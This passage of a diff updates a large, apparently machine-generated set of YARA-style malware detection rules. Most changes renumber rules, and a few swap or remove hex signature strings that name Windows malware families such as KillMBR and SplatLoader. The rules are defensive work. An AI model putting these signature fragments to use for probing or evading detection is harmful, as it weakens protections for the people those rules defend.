01 00 21 " @@ -23548,7 +23784,7 @@ rule _InfrastructureShared_2265{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2266{ +rule _InfrastructureShared_2287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23558,7 +23794,7 @@ rule _InfrastructureShared_2266{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2267{ +rule _InfrastructureShared_2288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23568,7 +23804,7 @@ rule _InfrastructureShared_2267{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2268{ +rule _InfrastructureShared_2289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23578,7 +23814,7 @@ rule _InfrastructureShared_2268{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2269{ +rule _InfrastructureShared_2290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23588,7 +23824,7 @@ rule _InfrastructureShared_2269{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2270{ +rule _InfrastructureShared_2291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23598,7 +23834,7 @@ rule _InfrastructureShared_2270{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2271{ +rule _InfrastructureShared_2292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23608,7 +23844,7 @@ rule _InfrastructureShared_2271{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2272{ +rule _InfrastructureShared_2293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23618,7 +23854,7 @@ rule _InfrastructureShared_2272{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2273{ +rule _InfrastructureShared_2294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23628,7 +23864,7 @@ rule _InfrastructureShared_2273{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2274{ +rule _InfrastructureShared_2295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23638,7 +23874,7 @@ rule _InfrastructureShared_2274{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2275{ +rule _InfrastructureShared_2296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23648,7 +23884,7 @@ rule _InfrastructureShared_2275{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2276{ +rule _InfrastructureShared_2297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23658,7 +23894,7 @@ rule _InfrastructureShared_2276{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2277{ +rule _InfrastructureShared_2298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23668,7 +23904,7 @@ rule _InfrastructureShared_2277{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2278{ +rule _InfrastructureShared_2299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23678,7 +23914,7 @@ rule _InfrastructureShared_2278{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2279{ +rule _InfrastructureShared_2300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23688,7 +23924,7 @@ rule _InfrastructureShared_2279{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2280{ +rule _InfrastructureShared_2301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23698,7 +23934,7 @@ rule _InfrastructureShared_2280{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2281{ +rule _InfrastructureShared_2302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23708,7 +23944,7 @@ rule _InfrastructureShared_2281{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2282{ +rule _InfrastructureShared_2303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23718,7 +23954,7 @@ rule _InfrastructureShared_2282{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2283{ +rule _InfrastructureShared_2304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23728,7 +23964,7 @@ rule _InfrastructureShared_2283{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2284{ +rule _InfrastructureShared_2305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23738,7 +23974,7 @@ rule _InfrastructureShared_2284{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2285{ +rule _InfrastructureShared_2306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23748,7 +23984,7 @@ rule _InfrastructureShared_2285{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2286{ +rule _InfrastructureShared_2307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23758,7 +23994,7 @@ rule _InfrastructureShared_2286{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2287{ +rule _InfrastructureShared_2308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23768,7 +24004,7 @@ rule _InfrastructureShared_2287{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2288{ +rule _InfrastructureShared_2309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23778,7 +24014,7 @@ rule _InfrastructureShared_2288{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2289{ +rule _InfrastructureShared_2310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23788,7 +24024,7 @@ rule _InfrastructureShared_2289{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2290{ +rule _InfrastructureShared_2311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23798,7 +24034,7 @@ rule _InfrastructureShared_2290{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2291{ +rule _InfrastructureShared_2312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23808,7 +24044,7 @@ rule _InfrastructureShared_2291{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2292{ +rule _InfrastructureShared_2313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23818,7 +24054,7 @@ rule _InfrastructureShared_2292{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2293{ +rule _InfrastructureShared_2314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23828,7 +24064,7 @@ rule _InfrastructureShared_2293{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2294{ +rule _InfrastructureShared_2315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23838,7 +24074,7 @@ rule _InfrastructureShared_2294{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2295{ +rule _InfrastructureShared_2316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23848,7 +24084,7 @@ rule _InfrastructureShared_2295{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2296{ +rule _InfrastructureShared_2317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23858,7 +24094,7 @@ rule _InfrastructureShared_2296{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2297{ +rule _InfrastructureShared_2318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23868,7 +24104,7 @@ rule _InfrastructureShared_2297{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2298{ +rule _InfrastructureShared_2319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23878,7 +24114,7 @@ rule _InfrastructureShared_2298{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2299{ +rule _InfrastructureShared_2320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23888,7 +24124,7 @@ rule _InfrastructureShared_2299{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2300{ +rule _InfrastructureShared_2321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23898,7 +24134,7 @@ rule _InfrastructureShared_2300{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2301{ +rule _InfrastructureShared_2322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23908,7 +24144,7 @@ rule _InfrastructureShared_2301{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2302{ +rule _InfrastructureShared_2323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23918,7 +24154,7 @@ rule _InfrastructureShared_2302{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2303{ +rule _InfrastructureShared_2324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23928,7 +24164,7 @@ rule _InfrastructureShared_2303{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2304{ +rule _InfrastructureShared_2325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23938,7 +24174,7 @@ rule _InfrastructureShared_2304{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2305{ +rule _InfrastructureShared_2326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23948,7 +24184,7 @@ rule _InfrastructureShared_2305{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2306{ +rule _InfrastructureShared_2327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23958,7 +24194,7 @@ rule _InfrastructureShared_2306{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2307{ +rule _InfrastructureShared_2328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23968,7 +24204,7 @@ rule _InfrastructureShared_2307{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2308{ +rule _InfrastructureShared_2329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23978,7 +24214,7 @@ rule _InfrastructureShared_2308{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2309{ +rule _InfrastructureShared_2330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23988,7 +24224,7 @@ rule _InfrastructureShared_2309{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2310{ +rule _InfrastructureShared_2331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -23998,7 +24234,7 @@ rule _InfrastructureShared_2310{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2311{ +rule _InfrastructureShared_2332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24008,7 +24244,7 @@ rule _InfrastructureShared_2311{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2312{ +rule _InfrastructureShared_2333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24018,7 +24254,7 @@ rule _InfrastructureShared_2312{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2313{ +rule _InfrastructureShared_2334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24028,7 +24264,7 @@ rule _InfrastructureShared_2313{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2314{ +rule _InfrastructureShared_2335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24038,7 +24274,7 @@ rule _InfrastructureShared_2314{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2315{ +rule _InfrastructureShared_2336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24048,7 +24284,7 @@ rule _InfrastructureShared_2315{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2316{ +rule _InfrastructureShared_2337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24058,7 +24294,7 @@ rule _InfrastructureShared_2316{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2317{ +rule _InfrastructureShared_2338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24068,7 +24304,7 @@ rule _InfrastructureShared_2317{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2318{ +rule _InfrastructureShared_2339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24078,7 +24314,7 @@ rule _InfrastructureShared_2318{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2319{ +rule _InfrastructureShared_2340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24088,7 +24324,7 @@ rule _InfrastructureShared_2319{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2320{ +rule _InfrastructureShared_2341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24098,7 +24334,7 @@ rule _InfrastructureShared_2320{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2321{ +rule _InfrastructureShared_2342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24108,7 +24344,7 @@ rule _InfrastructureShared_2321{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2322{ +rule _InfrastructureShared_2343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -24119,7 +24355,7 @@ rule _InfrastructureShared_2322{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*21620) >=1 } -rule _InfrastructureShared_2323{ +rule _InfrastructureShared_2344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -24129,7 +24365,7 @@ rule _InfrastructureShared_2323{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2324{ +rule _InfrastructureShared_2345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -24139,7 +24375,7 @@ rule _InfrastructureShared_2324{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2325{ +rule _InfrastructureShared_2346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -24150,7 +24386,7 @@ rule _InfrastructureShared_2325{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*13369) >=2 } -rule _InfrastructureShared_2326{ +rule _InfrastructureShared_2347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -24161,7 +24397,7 @@ rule _InfrastructureShared_2326{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*13623) >=2 } -rule _InfrastructureShared_2327{ +rule _InfrastructureShared_2348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -24172,7 +24408,7 @@ rule _InfrastructureShared_2327{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*17974) >=2 } -rule _InfrastructureShared_2328{ +rule _InfrastructureShared_2349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -24183,7 +24419,7 @@ rule _InfrastructureShared_2328{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*17206) >=2 } -rule _InfrastructureShared_2329{ +rule _InfrastructureShared_2350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -24194,7 +24430,7 @@ rule _InfrastructureShared_2329{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*14641) >=2 } -rule _InfrastructureShared_2330{ +rule _InfrastructureShared_2351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -24205,7 +24441,7 @@ rule _InfrastructureShared_2330{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*12343) >=2 } -rule _InfrastructureShared_2331{ +rule _InfrastructureShared_2352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -24216,7 +24452,7 @@ rule _InfrastructureShared_2331{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*11892) >=2 } -rule _InfrastructureShared_2332{ +rule _InfrastructureShared_2353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -24227,28 +24463,18 @@ rule _InfrastructureShared_2332{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*3328) >=2 } -rule _InfrastructureShared_2333{ +rule _InfrastructureShared_2354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_54_0 = {3a 57 69 6e 33 32 2f 49 6e 64 75 63 2e 42 00 01 00 0d 01 42 6f 6e 64 65 64 42 79 42 6c 6f 6f 64 01 00 0b 01 8b 55 f8 8a 54 3a ff 32 55 ff e8 00 00 02 00 78 3f 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 69 6c } //18467 - $a_52_1 = {45 41 42 52 21 4d 54 42 00 05 00 0f 01 ca 88 8c 05 78 56 fc ff 40 3d 80 a9 03 00 72 00 00 78 3f 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 42 7a 69 70 32 00 0a 00 20 01 6b 02 00 } //19820 + $a_54_0 = {3a 57 69 6e 33 32 2f 49 6e 64 75 63 2e 42 00 01 00 0d 01 42 6f 6e 64 65 64 42 79 42 6c 6f 6f 64 01 00 0b 01 8b 55 f8 8a 54 3a ff 32 55 ff e8 00 00 02 00 78 3f 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 42 7a 69 70 32 00 0a 00 20 } //18467 + $a_00_1 = {00 d0 } //27393 condition: - ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*19820) >=2 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*27393) >=2 } -rule _InfrastructureShared_2334{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 69 6c 6c 4d 42 52 2e 45 41 42 52 21 4d 54 42 00 05 00 0f 01 ca 88 8c 05 78 56 fc ff 40 3d 80 a9 03 00 72 00 00 78 3f 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 49 6e 74 65 6e 74 42 7a } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_2335{ +rule _InfrastructureShared_2355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -24258,7 +24484,7 @@ rule _InfrastructureShared_2335{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_2336{ +rule _InfrastructureShared_2356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24268,7 +24494,7 @@ rule _InfrastructureShared_2336{ ((#a_45_0 & 1)*14883) >=1 } -rule _InfrastructureShared_2337{ +rule _InfrastructureShared_2357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24278,7 +24504,7 @@ rule _InfrastructureShared_2337{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2338{ +rule _InfrastructureShared_2358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24288,7 +24514,7 @@ rule _InfrastructureShared_2338{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2339{ +rule _InfrastructureShared_2359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24298,7 +24524,7 @@ rule _InfrastructureShared_2339{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2340{ +rule _InfrastructureShared_2360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24308,7 +24534,7 @@ rule _InfrastructureShared_2340{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2341{ +rule _InfrastructureShared_2361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24318,17 +24544,17 @@ rule _InfrastructureShared_2341{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2342{ +rule _InfrastructureShared_2362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 6e 70 61 6b 2e 53 45 5a 43 21 4d 54 42 00 01 00 11 03 22 00 00 c7 05 90 01 04 90 01 03 00 0f b6 c4 90 00 00 00 78 40 00 00 01 00 01 00 01 00 21 23 42 6f 72 6c 61 6e 64 44 65 6c 70 68 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 70 6c 61 74 4c 6f 61 64 65 72 2e 48 21 64 68 61 00 01 00 0f 01 47 65 74 57 69 6e 64 6f 77 53 69 7a 65 64 57 00 00 78 40 00 00 01 00 01 00 01 00 21 23 42 6f 72 6c 61 6e 64 44 65 6c 70 68 } //16675 condition: ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2343{ +rule _InfrastructureShared_2363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24338,7 +24564,7 @@ rule _InfrastructureShared_2343{ ((#a_72_0 & 1)*16931) >=1 } -rule _InfrastructureShared_2344{ +rule _InfrastructureShared_2364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24348,7 +24574,7 @@ rule _InfrastructureShared_2344{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2345{ +rule _InfrastructureShared_2365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24358,7 +24584,7 @@ rule _InfrastructureShared_2345{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2346{ +rule _InfrastructureShared_2366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24368,7 +24594,7 @@ rule _InfrastructureShared_2346{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2347{ +rule _InfrastructureShared_2367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24378,7 +24604,7 @@ rule _InfrastructureShared_2347{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2348{ +rule _InfrastructureShared_2368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24388,7 +24614,7 @@ rule _InfrastructureShared_2348{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2349{ +rule _InfrastructureShared_2369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24398,7 +24624,7 @@ rule _InfrastructureShared_2349{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2350{ +rule _InfrastructureShared_2370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24408,7 +24634,7 @@ rule _InfrastructureShared_2350{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2351{ +rule _InfrastructureShared_2371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24418,7 +24644,7 @@ rule _InfrastructureShared_2351{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2352{ +rule _InfrastructureShared_2372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24428,7 +24654,7 @@ rule _InfrastructureShared_2352{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2353{ +rule _InfrastructureShared_2373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24438,7 +24664,7 @@ rule _InfrastructureShared_2353{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2354{ +rule _InfrastructureShared_2374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24448,7 +24674,7 @@ rule _InfrastructureShared_2354{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2355{ +rule _InfrastructureShared_2375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24458,7 +24684,7 @@ rule _InfrastructureShared_2355{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2356{ +rule _InfrastructureShared_2376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24468,7 +24694,7 @@ rule _InfrastructureShared_2356{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2357{ +rule _InfrastructureShared_2377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24478,7 +24704,7 @@ rule _InfrastructureShared_2357{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2358{ +rule _InfrastructureShared_2378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24488,7 +24714,7 @@ rule _InfrastructureShared_2358{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2359{ +rule _InfrastructureShared_2379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -24498,7 +24724,7 @@ rule _InfrastructureShared_2359{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2360{ +rule 